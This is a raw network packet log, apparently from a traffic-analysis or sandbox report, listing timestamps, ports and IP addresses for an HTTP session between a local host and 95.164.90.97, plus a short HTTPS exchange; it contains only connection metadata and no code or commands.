Oct 7, 2024 21:18:43.726197958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.726222038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.726231098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.726233959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.726267099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.726310968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.804996014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805053949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805088997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805121899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805124998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.805151939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.805157900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805179119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.805191994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805226088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805237055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.805352926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805387020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805435896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805438042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.805471897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805505037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805537939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805550098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.805572987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805605888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805619001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.805643082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.805687904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809159040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809195042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809226990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809243917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809262037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809273005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809294939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809307098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809329987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809344053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809364080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809369087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809397936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809432030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809446096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809465885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809475899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809500933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809533119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809566021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809582949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809601068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809617043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809633970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809639931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809669018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809678078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.809704065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.809757948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.810746908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.810781002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.810812950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.810831070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.810847044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.810863972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.810882092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.810890913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.810916901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.810941935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.811007023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.811017990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.811065912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.813096046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.813162088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.813705921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.813741922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.813760996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.813793898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.813812971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.813828945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.813860893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.813875914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.813899040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.813905954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.813951969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.814498901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814532042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814547062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.814564943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814598083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814609051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.814632893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814642906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.814666986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814701080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814733982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814743042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.814769983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814837933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.814851999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814886093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.814927101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.814980984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815013885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815047026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815057039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815080881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815099955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815114975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815125942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815149069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815181971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815185070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815218925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815231085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815253973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815272093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815288067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815305948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815321922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815349102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815354109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815367937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815407038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815464020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815500021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815536022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815571070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815586090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815612078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815661907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815774918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815809011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815843105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815856934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815879107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815913916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815931082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.815948009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815982103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.815985918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816015959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816051960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816083908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816097021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816118956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816149950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816152096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816168070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816186905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816194057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816220045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816231012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816253901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816266060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816288948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816320896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816330910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816355944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816410065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816440105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816459894 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816473961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816504002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816524982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816528082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816559076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816592932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816600084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816628933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816663027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816695929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816704988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816730022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816761971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816792965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816795111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816807032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.816828012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.816873074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.822873116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.822932959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.822938919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.822967052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.822988987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.823010921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.823035955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.823076963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.823523998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.823591948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.823637009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.823664904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.832434893 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.834110975 CEST	49882	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.834139109 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.834621906 CEST	49882	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.834634066 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.886003017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886075020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886076927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886126995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886179924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886182070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886218071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886250019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886253119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886286020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886290073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886331081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886410952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886445045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886497021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886509895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886533022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886552095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886565924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886569977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886600971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886606932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886652946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886707067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886738062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886768103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886771917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886786938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886806965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886825085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886852026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886861086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886898041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886930943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.886945009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886972904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.886981010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887015104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887032032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887048960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887090921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887106895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887140036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887172937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887207985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887216091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887346983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887603045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887636900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887665033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887672901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887687922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887717009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887739897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887773037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887792110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887806892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887840986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887840986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887840986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887877941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887912989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.887947083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.887980938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888024092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888057947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888066053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888092995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888124943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888134956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888159037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888173103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888330936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888461113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888525009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888559103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888578892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888597965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888624907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888660908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888695002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888700962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888727903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888760090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888780117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888793945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888804913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888863087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888906956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.888916969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.888951063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889002085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889003992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889036894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889054060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889072895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889076948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889108896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889142036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889161110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889174938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889195919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889240026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889288902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889322042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889354944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889367104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889384031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889391899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889417887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889451027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889484882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889508009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889518023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889534950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889554024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889586926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889595985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889621019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889656067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889679909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889689922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889722109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889739990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889756918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889821053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.889878035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889910936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889944077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889976978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.889991045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890010118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890011072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890045881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890077114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890109062 CEST	80	49810	95.164.90.97	192.168.2.5
